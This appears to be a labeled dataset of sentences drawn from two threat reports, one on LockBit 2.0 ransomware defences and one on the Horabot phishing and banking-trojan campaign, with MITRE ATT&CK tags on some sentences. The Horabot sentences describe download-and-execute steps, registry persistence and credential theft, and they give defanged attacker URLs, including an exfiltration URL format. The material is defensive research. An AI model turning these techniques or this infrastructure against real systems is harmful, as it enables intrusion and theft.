{"sentence": "[T1614], System Information Discovery [T1082] CORTEX XDR PREVENT Configure Behavioral Threat Protection under the Malware Security Profile NEXT-GENERATION FIREWALLS Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone CORTEX XSOAR Deploy XSOAR Playbook - Port Scan Lateral Movement The courses of action below mitigate the following techniques: Remote Services [T1021], SMB/Windows Admin Shares", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1021.002] NEXT-GENERATION FIREWALLS Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones CORTEX XSOAR Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Access Investigation Playbook Command and Control", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The courses of action below mitigate the following techniques: Remote Access Software [T1219] NEXT-GENERATION FIREWALLS Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged CORTEX XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Exfiltration", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The courses of action below mitigate the following techniques: Data Transfer Size Limits", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[T1030], Exfiltration Over C2 Channel [T1041] THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure that PAN-DB URL Filtering is used Ensure that access to every URL is logged Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure secure URL filtering is enabled for all security policies allowing traffic to the internet", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ensure all HTTP Header Logging options are enabled CORTEX XSOAR Deploy XSOAR Playbook - Block URL Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Block IP DNS SECURITY Enable DNS Security in Anti-Spyware profile NEXT-GENERATION FIREWALLS Setup NetFlow Monitoring Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Impact The courses of action below mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489] CORTEX XSOAR Deploy XSOAR Playbook - Ransomware Manual for incident response.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "†These capabilities are part of the NGFW security subscriptions service Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "This is a subset of our current Courses of Action initiative and will be updated as the project progresses.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Conclusion LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit’s continuation with operations and its next iteration coming up on the horizon means that organizations and their security teams need to stay vigilant in the ever-evolving threat landscape.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways: WildFire:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Cortex XDR: Identifies indicators associated with LockBit 2.0.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Anti-Ransomware Module to detect LockBit 2.0 encryption behaviors on Windows.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Local Analysis detection for LockBit 2.0 binaries on Windows.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC:", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Appendix A", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).”", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Some key takeaways from the claims made in the interview were: The LockBit 2.0 threat actor claimed the group’s RaaS was unlikely to be rebranded since the team allegedly was a business that was honest with their customers – suggesting a supposed contrast between LockBit 2.0 and Avaddon, DarkSide and REvil affiliates.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The LockBit 2.0 ransomware disregarded keyboard layout, but it allegedly would not run on a host where the system language was set to any of the languages spoken in the Commonwealth of Independent States region.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The group did not devise attacks on companies of their choice; they simply worked with initial access to any corporate network they obtained elsewhere, since this was more profitable and saved time.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The team selected targets for ransomware attacks based on the company’s finances — the bigger, the better.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The location also did not matter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "However, team members allegedly did not attack healthcare facilities, social services, educational institutions and charitable organizations or any other organization that “contributed to the survival of the human race.”", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "[Note that Unit 42 case data does include indications that threat actors using LockBit 2.0 have targeted healthcare organizations at times.]", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The threat actor claimed that the largest number of victims who paid ransom were company representatives who did not care about creating backup copies and did not protect their sensitive data.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "According to the threat actor’s claims, companies that violated regulations about collecting and handling customer or user personal information were among those eager to pay.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The threat actor claimed that there generally were only a few companies who refused to pay ransom on principle, while most of the victims evaluated profit and loss to decide whether or not to pay a ransom.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "LockBit 2.0 operators allegedly almost always offered discounts to their victims since the goal was to streamline attacks.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "The threat actor claimed that the COVID-19 pandemic facilitated ransomware attacks significantly, saying it was easy to compromise home computers of employees who work remotely and use them as a springboard to access other networked systems.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Companies in Europe and the U.S. were hit with ransomware much more often than companies based in other countries allegedly because of high profit and insurance and not because of language barriers.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Ransomware operators usually recruit negotiators, who coerce victims to pay ransom, since professional penetration testers allegedly lack the time for chatter.", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Additional Resources LockBit 3.0: Another Upgrade to the World’s Most Active RansomwareRansomware Groups to Watch: Emerging ThreatsAverage Ransom Payment Up 71% This Year, Approaches $1 Million2022 Unit 42 Ransomware Threat Report Highlights Get updates from Palo Alto Networks!", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "LockBit 20 How This RaaS Operates and How to Protect Against It"}
{"sentence": "Cisco Talos has observed a threat actor deploying a previously unidentified botnet program Talos is calling “Horabot,” which delivers a known banking trojan and spam tool onto victim machines in a campaign that has been ongoing since at least November 2020.The threat actor appears to be targeting Spanish-speaking users in the Americas and, based on our analysis, may be located in Brazil.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Horabot enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The banking trojan can collect the victim’s login credentials for various online accounts, operating system information and keystrokes.", "labels": ["T1056.001", "T1078", "T1082", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It also steals one-time security codes or soft tokens from the victim’s online banking applications.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool compromises Yahoo, Gmail and Outlook webmail accounts, enabling the threat actor to take control of those mailboxes, exfiltrate their contacts’ email addresses, and send spam emails.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "VictimologyThe attacks predominantly target users in Mexico, with a few infections in Uruguay, Brazil, Venezuela, Argentina, Guatemala and Panama.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "In analyzing the phishing emails used in the campaign, Talos identified that users in organizations across several business verticals — including accounting, construction and engineering, wholesale distributing and investment firms — have been affected.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "However, the attacker uses Horabot and the spam tool in this campaign to further propagate the attack by sending additional phishing emails to the victim’s contacts, meaning Spanish-speaking users from organizations in additional verticals are likely also affected.", "labels": ["T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Attacker infrastructure dates back to Nov. 2020Talos discovered that the attacker in this campaign is using multiple hosts, including an Amazon Web Services (AWS) Elastic Compute Cloud (EC2) instance, accessed through its public URL, to host the malicious files.", "labels": ["T1071.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "During our analysis, Talos observed that a malicious server at IP address 185[.]45[.]195[.]226 hosted the PowerShell downloader script and had an open directory that the attacker eventually disabled.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Another malicious server, 216[.]238[.]70[.]224, hosted the ZIP file containing the payloads.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This is most likely a virtual private server (VPS) behind which the attacker has parked the actual command and control (C2) server, leaving us unable to identify the actual C2.", "labels": ["T1090"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker also used lookalike domains in this campaign to carry out malicious activities and evade network detection.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Based on Talos’ analysis of the domain registration information for the attacker’s infrastructure, Talos assesses with high confidence that this campaign began in November 2020 and has been ongoing through 2023.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "According to WHOIS records for the domain tributaria[.]website, used in this campaign to host the attacker’s tools as well as exfiltrated data, the domain was registered in July 2022 and the registrant was based out of Brazil.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This domain name also resembled the legitimate Mexican Tax Agency domain, a tactic the attacker likely adopted to disguise malicious traffic.", "labels": ["T1036.005"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The DNS requests to tributaria[.]website, as observed in Cisco Umbrella, are shown below.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "In analyzing the SSL certificates of tributaria[.]website, we spotted that the certificates with serial numbers 03b6b83943ec043082a8614186921afa306b and 03eeab4d2874f31ee662ea7f602b73b05633 are shared with four other domains.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Based on our analysis of the domain registration period and the URLs associated with the four domains, they belong to the same campaign that has been ongoing since at least November 2020.Malicious domainsRegistration periodm9b4s2[.]site November 2020tributaria[.]websiteJuly", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "2022wiqp[.]xyzAugust 2022ckws[.]infoJanuary 2023amarte[.]store March 2023Multi-stage attack chain uses PowerShell downloader and DLL sideloadingThis campaign involves a multi-stage attack chain that begins with a phishing email and leads to payload delivery through the execution of a PowerShell downloader script and sideloading to legitimate executables.", "labels": ["T1059.003", "T1566.001", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The infection starts with an income tax-themed phishing email written in Spanish, disguising itself as a tax receipt notification and enticing users to open the attached malicious HTML file.", "labels": ["T1204.002", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Sample phishing email.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance.", "labels": ["T1027", "T1090"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The content displayed on the victim’s browser lures them to click an embedded malicious hyperlink which downloads a RAR file.", "labels": ["T1105", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Disguised malicious web page.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The RAR file contains a batch file with a CMD extension that is executed when the victim opens the contents of the file.", "labels": ["T1059.003", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The batch file downloads the PowerShell downloader script from an attacker-controlled server and executes it through the PowerShell commands.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The PowerShell downloader script will download a ZIP file that contains the payload DLLs and a few legitimate executables and DLLs.", "labels": ["T1055", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It creates Windows shortcut files configured to run the payloads in the startup folder of the victim’s machine and restarts the machine after 10 seconds.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "After the victim’s machine is rebooted, the malicious Windows startup files run the payloads by sideloading them to the legitimate executables and downloading and executing two other PowerShell scripts from a different attacker-controlled server.", "labels": ["T1059.003", "T1105", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "One is the PowerShell downloader script, which the attacker attempts to execute to re-infect the victim’s machine, and another is Horabot.", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Three-layer infection chain delivers and detonates the payloadsMalicious batch file downloads the PowerShell downloaderThe RAR file containing a malicious batch file with a .cmd extension is downloaded to the user’s machine.", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Per the instructions on the HTML page, if the user opens the CMD file, the malicious batch script executes an embedded PowerShell command to download the next-stage PowerShell script from the server and execute it on the victim’s machine.", "labels": ["T1059.003", "T1204.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Downloader batch script.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "PowerShell script downloads the payloadsThe malicious PowerShell downloader script launches several processes that download the payloads and reboots the victim’s machine.", "labels": ["T1105", "T1543.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script is heavily obfuscated with random symbols that substitute the instructions during the run-time and base64-encoded strings.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "In the initial stage of the execution, the script decodes the base64-encoded strings and initializes them.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It executes a function that uses alphanumeric characters and the special character “_” to generate a random name and creates a folder with the random name in the root directory of the victim’s machine.", "labels": ["T1027"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The random name generated by the sample during our analysis was “_upyqta2_J”.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script uses this random name eventually to create other folders and files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script creates two other malicious batch scripts with the extension .cmd", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "in the folder “/Users/Public.”", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then it creates two Windows shortcut files in the Windows startup folder using the Internet Explorer application icon and the target paths pointing to the two dropped batch scripts.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "<deskto_name>S.cmd and <desktop_name>Sy.cmd are the naming conventions used.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A snippet of the PowerShell downloader script.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also creates three more Windows shortcut files in the victim’s machine startup folder, with the details of the target path pointing to the folders where the payloads are eventually downloaded.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker used the Internet Explorer icon for the dropped shortcut files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Talos compiled a table showing the malicious Windows shortcut files and their relative paths with the command line arguments.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Shortcut filesRelative pathCommand line arguments_upyqta2_JAA.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\..\\_upyqta2_J\\_upyqta2_Ji7.exe_upyqta2_JAT.lnk ..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\_upyqta2_J\\_upyqta2_J.exeC:\\_upyqta2_J\\_upyqta2_J.at_upyqta2_JEX.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\_upyqta2_J\\_upyqta2_J.exeC:\\_upyqta2_J\\_upyqta2_J.ai_upyqta2_Jy.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\Public\\DESKTOP-UT9NJ4Sy.cmd_upyqta2_J.lnk..\\..", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "\\Public\\DESKTOP-UT9NJ4S.cmd Next, the script downloads a malicious ZIP file — “m.zip” — from a server using the URL “hxxp[://]216[.]238[.]70[.]224/20/t/e/m.zip” to the random name folder.", "labels": ["T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script renames the downloaded file with a random name and deflates its contents.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The deflated contents are renamed using random characters, then the malicious ZIP file is deleted.", "labels": ["T1070.004"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The script also writes the path of the executable file, “_upyqta2_Ji7.exe”, to the class’s registry key “HKEY_CURRENT_USER\\software\\Classes\\ms-settings\\shell\\open\\command” and restarts the victim’s machine after 10 seconds using the command “shutdown /r /t", "labels": ["T1112"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "10”.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The deflated contents of the malicious ZIP file are shown in the below table with their description.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Files dropped Description_upyqta2_J.aiCompiled AutoIt script_upyqta2_J.atCompiled AutoIt", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "script_upyqta2_J.exeAutoIt interpreter_upyqta2_J.iaEncrypted trojan DLL_upyqta2_J.mdatEncrypted Spam tool DLL_upyqta2_Ji7.exeKinit.exe, a legitimate executablejli.dllBanking trojan MSVCR100.dllLegitimate DLLWebView2Loader.dllLegitimate DLLMalicious shortcut files detonate the payloads after system restartAfter the PowerShell downloader reboots the victim’s machine, the malicious Windows shortcut files dropped in the Windows startup folder are run, executing the payloads used in the attack.", "labels": ["T1547.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This section describes the behavior of each of the shortcut files._upyqta2_JAA.lnkThis link file “_upyqta2_JAA.lnk” will sideload a malicious DLL called “jli.dll,” a banking trojan, by executing “_upyqta2_Ji7.exe,” which is actually a legitimate copy of “kinit.exe” that the PowerShell downloader script drops._upyqta2_JEX.lnkThis link file executes the compiled AutoIt", "labels": ["T1027", "T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "script “_upyqta2_J.ai” by running the executable “ _upyqta2_J.exe”, which is a legitimate AutoIt interpreter.", "labels": ["T1027", "T1036.005"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The AutoIt script decrypts the encrypted “_upyqta2_J.ia” and drops the DLL “_upyqta2_J.ia.a1” with a spoofed file extension that has a hardcoded malicious function “A040822_1”.", "labels": ["T1105", "T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then, the AutoIt script will sideload the DLL “_upyqta2_J.ia.a1” to the AutoIt interpreter process and execute the malicious function “A040822_1” with the parameter “STRUCT.”", "labels": ["T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The decrypted malicious DLL “_upyqta2_J.ia.a1” is another copy of the banking trojan with additional stealer capabilities such as keylogging, copying of clipboard data, screenshot capturing and mouse tracking.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A snippet of the AutoIt code _Upyqta2_J.ai_upyqta2_JAT.lnkThis link file performs the same steps as “_upyqta2_JEX.lnk” by executing the AutoIt script “_upyqta2_J.at” to decrypt “ _upyqta2_J.mdat” and create the DLL “_upyqta2_J.mdat.a1” with a spoofed extension.", "labels": ["T1140"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Then, the AutoIt script sideloads the DLL to the AutoIt interpreter process and executes the malicious function “B080223_AT” with the parameter “STRUCT”.", "labels": ["T1574.002"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The malicious DLL “_upyqta2_J.mdat.a1” is a spam tool with information-stealing capability.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "A snippet of the AutoIt code _", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Upyqta2_J.at_upyqta2_J.lnk", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This link file executes one of the dropped batch files, “<desktop-name>S.cmd.”", "labels": ["T1059.003"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The batch file executes an embedded PowerShell command to download the PowerShell downloader script from the attacker-controlled server using the URL hxxp[://]tributaria[.]website/esp/12/151222/up/up” and executes it.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The attacker uses the PowerShell downloader to reinfect the victim’s machine.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "upyqta2_Jy.lnkThis", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "link file executes another dropped batch file, “<desktop_name>Sy.cmd”, which executes a PowerShell command to download and run the Horabot “au” using the URL hxxp[://]tributaria[.]website/esp/12/151222/au/au.", "labels": ["T1059.003", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "PayloadsTalos found that the payloads employed by the attacker in this campaign are designed to steal sensitive information, evade detection and disseminate additional phishing emails to the victim’s contacts.", "labels": ["T1027", "T1566.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.", "labels": ["T1056.001", "T1078"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The spam tool and newly identified Horabot are employed in the attack to compromise the victim’s mailboxes, steal their contact’s email addresses, and send phishing emails to the victim’s contacts.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Banking trojan targets victim’s login credentials and financial informationThe banking trojan identified in this campaign, a 32-bit Windows DLL written in the Delphi programming language and packed with Themida packer, can collect system information, credentials and user activity.", "labels": ["T1078", "T1082"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "This trojan is based on a tool called Delphi_Remote_Access_PC, which is publicly available on GitHub.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It also uses similar techniques as Brazilian banking trojans reported by other security researchers at ESET and Check Point in the past.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan performs surveillance on the victim’s machine by collecting system information such as hostnames, IPv4 address, operating system version, disk volume information, disk size and anti-virus software information, and gets the system’s default language.", "labels": ["T1082", "T1518.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request to the URL in the below format.hxxp[://]216[.]238[.]70[.]224/20/a/20/index[.]php?AT=<username>%20<hostname>%20<Operating system version>&MD=<Antivirus", "labels": ["T1041"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "software>", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan has remote desktop management capabilities such as creating and deleting directories on the victim’s machine, checking if a file on the victim’s filesystem exists and gets the file’s attributes, collecting size and version information, and downloading files from a URL.", "labels": ["T1083", "T1105"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It also has information-stealing capabilities, such as logging keystrokes via polling and application hooks, capturing screenshots, manipulating the victim’s machine clipboard and tracking the mouse's events.", "labels": ["T1056.001", "T1113"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "It monitors the open application windows on the victim’s desktop, overlays fake windows, and manages the pop-up windows to steal sensitive information.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "These pop-ups are stored in TFORMS in the RCData section of the executable.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The below screenshots show some of the forms configured to steal one-time security codes or soft tokens from the victim’s online banking web applications.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Banking trojan forms in the binary resource section.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Talos spotted hardcoded SQL commands in the trojan binary designed to collect login data from the Google Chrome user profile folders by writing it to a database source file called “login_data.sql”, and creating SQL queries to produce the database tables to store the stolen data.", "labels": ["T1005", "T1074.001"], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The dynamic analysis behavior in our analysis environment showed us that the database source file “login_data.sql” contains the login details and the associated URLs from the Google Chrome database files.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Database table containing the victim’s credentials.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "The trojan has several anti-analysis and anti-virtual machine (VM) techniques built-in to avoid analysis in automated sandboxes and to thwart debugging:", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Detects the presence of debuggers through APIs IsDebuggerPresent, and OutputDebugStringW, and checks for system breakpoints.", "labels": [], "doc_title": "New Horabot campaign targets the Americas"}
{"sentence": "Creates processes enabling the debug privileges by adjusting the process token “Debug,” readings the Process Environment Block, and queries the DebugPort to check if the malware is being debugged.", "labels": ["T1518.001"], "doc_title": "New Horabot campaign targets the Americas"}
